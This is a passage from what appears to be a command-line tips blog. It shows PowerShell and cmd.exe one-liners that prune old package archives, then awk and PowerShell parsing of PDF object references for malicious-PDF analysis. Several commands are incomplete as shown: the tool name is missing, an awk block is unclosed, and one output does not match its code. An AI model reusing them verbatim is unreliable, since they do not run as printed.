-a--- 11/1/2011 1:23 PM 2 pkg-four-25925.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-31089.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-511.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-8343.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-one-13225.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-one-24343.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-one-2835.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-one-308.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-one-4484.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-13226.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-15026.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-23830.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-30553.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-4311.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-12923.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-27368.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-27692.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-28727.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-3888.tar.gz

Similar to what Hal did, we use multiple loops to create the files. Set-Content is used to create the file. The filename is a little crazy as we need to use the output of Get-Random in our path. The $() is used to wrap the cmdlet and only return the output.

I feel a big like a ditch digger who is tasked with filling in the ditch he just dug, but that's the challange. We have files and some need to be deleted.

We start off grouping the files based on their package and sorting them by their version.

PS C:\> ls | sort {[int]($_.Name.Split("-.")[2])} -desc |
group {$_.Name.Split("-.")[1]}

Count Name Group
----- ---- -----
5 four {pkg-four-31089.tar.gz, pkg-four-25925.tar.gz, pkg-four-1853...
5 three {pkg-three-30553.tar.gz, pkg-three-23830.tar.gz, pkg-three-1...
5 two {pkg-two-28727.tar.gz, pkg-two-27692.tar.gz, pkg-two-27368.t...
5 five {pkg-five-27296.tar.gz, pkg-five-26739.tar.gz, pkg-five-2142...
5 one {pkg-one-24343.tar.gz, pkg-one-13225.tar.gz, pkg-one-4484.ta...

The package and version number are retrieved by using the Split method using dots and dashes as delimiters. The version is the 3rd item (index 2, remember, base zero) and the package is the 2nd (index 1). The version is used to sort and the package name is used for grouping.

At this point we have groups that contain the files sorted, in descending order, by the version number. Now we need to get all but the first two items.

PS C:\> ls | sort {[int]($_.Name.Split("-.")[2])} -desc |
group {$_.Name.Split("-.")[1]} | % { $_.Group[2..($_.Count)]}

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 11/1/2011 1:23 PM 2 pkg-four-18533.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-8343.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-511.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-15026.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-13226.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-4311.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-27368.tar.gz

The ForEach-Object cmdlet (alias %) is used to operate on each group. As you will remember, the items in the group are sorted in descending order by the version number. We need to select the 3rd through the last item, and this is accomplished by using the Range operator (..) with our collection of objects. The Range of 2..($_.Count) gives us everything but the first two items. Technically, I have an off-by-one issue with the upper bound, but PowerShell is kind enough not to barf on me. I did this to save a few key strokes; although, I am using a lot more key strokes to justify my laziness. Ironic? Yes.

All we have to do now is pipe it into the Remove-Item (alias del, erase, rd, ri, rm, rmdir).

PS C:\> ls | sort {[int]($_.Name.Split("-.")[2])} -desc |
group {$_.Name.Split("-.")[1]} | % { $_.Group[2..($_.Count)]} | rm

PS C:\> ls

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 11/1/2011 1:23 PM 2 pkg-five-26739.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-five-27296.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-25925.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-31089.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-one-13225.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-one-24343.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-23830.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-three-30553.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-27692.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-two-28727.tar.gz

Not too bad, but now it is time for the sucky part.


Here is the file creator:

C:\> cmd /v:on /c "for /r %i in (pkg-one pkg-two pkg-three pkg-four pkg-five) do
@for /l %j in (1,1,5) do @echo "" > %i-!random!.tar.gz"

Similar to the previous examples, this uses two loops to write our file.

Now for the beast to nuke the old packages...

C:\> cmd /v:on /c "for /f %a in ('^(for /f "tokens=2 delims=-." %b in ^('dir /b *.*'^) do
@echo %b ^) ^| sort') do @set /a first=0 > NUL & @set /a second=0 > NUL & @(for /f "tokens=1,2,3,*
delims=-." %i in ('dir /b *.* ^| find "%a"') do @set /a v=%k > NUL & IF !v! GTR !first! (del
%i-%j-!second!.tar.gz && set /a second=!first! > NUL && set /a first=!v! > NUL) ELSE (IF !v! GTR
!second! (del %i-%j-!second!.tar.gz && set /a second=!v! > NUL) ELSE (del %i-%j-!v!.tar.gz)))"

C:\> dir
Volume in drive C has no label.
Volume Serial Number is DEAD-BEEF

Directory of C:\

11/01/2011 01:23 PM <DIR> .
11/01/2011 01:23 PM <DIR> ..
11/01/2011 01:23 PM 2 pkg-five-26739.tar.gz
11/01/2011 01:23 PM 2 pkg-five-27296.tar.gz
11/01/2011 01:23 PM 2 pkg-four-18533.tar.gz
11/01/2011 01:23 PM 2 pkg-four-8343.tar.gz
11/01/2011 01:23 PM 2 pkg-one-13225.tar.gz
11/01/2011 01:23 PM 2 pkg-one-24343.tar.gz
11/01/2011 01:23 PM 2 pkg-three-23830.tar.gz
11/01/2011 01:23 PM 2 pkg-three-30553.tar.gz
11/01/2011 01:23 PM 2 pkg-two-27692.tar.gz
11/01/2011 01:23 PM 2 pkg-two-28727.tar.gz
10 File(s) 20 bytes
2 Dir(s) 1,234,567,890 bytes free

As this command is barely decipherable, I'm not going to go through it in great detail, but I will describe it at a high level.

We start off by enabling delayed variable expansion so we can set and immediately use a variable. We then use a trusty For loop (actually, I don't trust the sneaky bastards) to find the package names. We then use another For loop to work with each file that matches the current package by using a directory listing plus the Find command. Now is where it get really hairy...

We need to keep the two files with the highest version number. To do this we use two variables, First and Second, to hold the two highest version numbers. Both variables are initialized to zero. Next we need to do some crazy comparisons.

1. If the version number of the current file for the current package is greater than First, we delete the file related to Second, move First to Second, and set First equal to the current version.

2. If the version number of the current file for the current package is less than First but greater than Second, we delete the file related to Second and set Second equal to the current version.

3. If the version number of the current file for the current package is less than both First and Second then the file is deleted.

Ok, Hal, you have your CMD.EXE. I would say "TAKE THAT", but I'm pretty sure I'm the one that was taken.

Episode #160: Plotting to Take Over the World

Hal's been teaching

Whew! Just got done with another week of teaching, this time at SANS Baltimore. I even got a chance to give my "Return of Command Line Kung Fu" talk, so I got a bunch of shell questions.

One of my students had a very interesting challenge. To help analyze malicious PDF documents, he was trying to parse the output of Didier Stevens' and create an input file for GNUplot that would show a graph of the object references in the document. Here's a sample of the kind of output we're dealing with:

$ CLKF.pdf
PDF Comment '%PDF-1.3\n'

PDF Comment '%\xc7\xec\x8f\xa2\n'

obj 5 0
Referencing: 6 0 R
Contains stream
[(1, '\n'), (2, '<<'), (2, '/Length'), (1, ' '), (3, '6'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/Filter'), (1, ' '), (2, '/FlateDecode'), (2, '>>'), (1, '\n')]

/Length 6 0 R
/Filter /FlateDecode

obj 6 0
[(1, '\n'), (3, '678'), (1, '\n')]

obj 4 0
Type: /Page
Referencing: 3 0 R, 11 0 R, 12 0 R, 13 0 R, 5 0 R

The lines like "obj 5 0" give the object number and version of a particular object in the PDF. The "Referencing" lines below show the objects referenced. A given object can reference any number of objects from zero to many.

To make the chart with GNUplot, we need to create an input file that shows "obj -> ref;" for all references. So for object #5, we'd have one line of output that shows "5 -> 6;". There would be no output for object #6, since it references zero objects. And we'd get 5 lines of output for object #4, "4 -> 3;", "4 -> 11;", and so on.

This seems like a job for awk. Frankly, I thought about just calling Davide Brini and letting him write this week's Episode, but he's already getting too big for his britches. So here's my poor, fumbling attempt:

$ CLKF.pdf |
awk '/^obj/ { objnum = $2 };
/Referencing: [0-9]/ \
{ max = split($0, a);
for (i = 2; i < max; i += 3) { print objnum" -> "a[i]";" }

5 -> 6;
4 -> 3;
4 -> 11;
4 -> 12;
4 -> 13;
4 -> 5;

The first line of awk matches the "obj" lines and puts the object number into the variable "objnum". The second awk expression matches the "Referencing" lines, but notice that I added a "[0-9]" at the end of the pattern match so that I only bother with lines that actually include referenced objects.

When we hit a line like that, then we do the stuff in the curly braces. split() breaks our input line, aka "$0", on white space and puts the various fields into an array called "a". split() also returns the number of elements in the array, which we put into a variable called "max". Then I have a for loop that goes through the array, starting with the second element-- this is the actual object number that follows "Referencing:". Notice the loop update code is "i += 3", which allows me to just access the object number elements and skip over the other crufty stuff I don't care about. Inside the loop we just print out the object number and current array element with the appropriate punctuation for GNUplot.

Meh. It's a little scripty, I must confess. Mostly because of the for loop inside of the awk statement to iterate over the references. But it gets the job done, and I really did compose this on the command line rather than in a script file.

Let's see if Tim's plotting involves a trip to Scriptistan as well...

Tim's traveling

While I have been out of the country for a few weeks, I didn't have to visit Scriptistan to get my fu for this week. The PowerShell portion is a bit long, but I wouldn't classify it as a script even though it has a semicolon in it. We do have lots of ForEach-Object cmdlets, Select-String cmdlets, and Regular Expressions. And you know what they say about Regular Expressions: Much like violence, if Regular Expressions aren't working, you aren't using enough of it.

Instead of starting off with some ultraviolent fu, let's build up to that before we wield the energy to destroy medium-large buildings. First, let's find the object number and its references.

PS C:\> C:\Python25\python.exe CLKF.pdf |
Select-String -Pattern "(?<=^obj\s)\d+" -Context 0,2

> obj 5 0
Referencing: 6 0 R
> obj 6 0
> obj 15 0
Referencing: 16 0 R
> obj 4 0
Type: /Page
Referencing: 3 0 R, 11 0 R, 12 0 R, 13 0 R, 5 0 R

The output of is piped into the Select-String cmdlet which finds lines that start with "obj", are followed by a space (\s), then one or more digits (\d+). The Context switch is used to get the next two lines so we can later use the "Referencing" portion.

You might also notice our regular expression uses a "positive look behind", meaning that it needs to see "obj " before the number we want. This way we end up with just the object number being selected and not the useless text in front of it. This is demonstrated by Matches object shown below.

PS C:\> C:\Python25\python.exe CLKF.pdf |
Select-String -Pattern "(?<=^obj\s)[0-9]+" -Context 0,2 | Format-List

IgnoreCase : True
LineNumber : 7
Line : obj 5 0
Filename : InputStream
Path : InputStream
Pattern : (?<=^obj\s)[0-9]+
Context : Microsoft.PowerShell.Commands.MatchInfoContext
Matches : {5}

To parse the Referencing line we need we need to use some more violence regular expressions on the Context object. First, let's see what the Context object looks like. To do this we previous command into the command below to see the available properties.

PS C:\> ... | Select-Object -ExcludeProperty Context | Get-Member

TypeName: Microsoft.PowerShell.Commands.MatchInfoContext

Name MemberType Definition
---- ---------- ----------
Clone Method System.Object Clone()
Equals Method bool Equals(System.Object obj)
GetHashCode Method int GetHashCode()
GetType Method type GetType()
ToString Method string ToString()
DisplayPostContext Property System.String[] DisplayPostContext {get;set;}
DisplayPreContext Property System.String[] DisplayPreContext {get;set;}
PostContext Property System.String[] PostContext {get;set;}
PreContext Property System.String[] PreContext {get;set;}

The PostContext property contains the two lines that followed our initial match. We can access the second line by access the row with an index of 1 (remember, base zero, so 1=2).

PS C:\> C:\Python25\python.exe CLKF.pdf |
Select-String -Pattern "(?<=^obj\s)[0-9]+" -Context 0,2 |
ForEach-Object { $objnum = $_.matches[0].Value; $_.Context.PostContext[1] }

Referencing: 6 0 R
Referencing: 16 0 R
Referencing: 25 0 R

The above command saves the current object number in $objnum and then outputs the second line of the PostContext.

Finally, we need to parse the Context with ultra violence more regular expressions and display our output.

PS C:\> C:\Python25\python.exe CLKF.pdf |
Select-String -Pattern "(?<=^obj\s)[0-9]+" -Context 0,2 |
% { $objnum = $_.matches[0].Value; $_.Context.PostContext[1] |
Select-String "(\d+(?=\s0\sR))" -AllMatches | Select-Object -ExpandProperty matches |
ForEach-Object { "$($objnum)->$($_.Value)" } }

5 -> 6;
4 -> 3;
4 -> 11;
4 -> 12;
4 -> 13;
4 -> 5;

The second line of PostContect, the Referencing line, is piped into the Select-String cmdlet where we use our regular expression to look for the a number followed by "<space>0<space>R". The AllMatches switch is used to find all the objects referenced. We then Expand the matches property so we can work with each match inside our ForEach-Object cmdlet where we output the original object number and the found reference.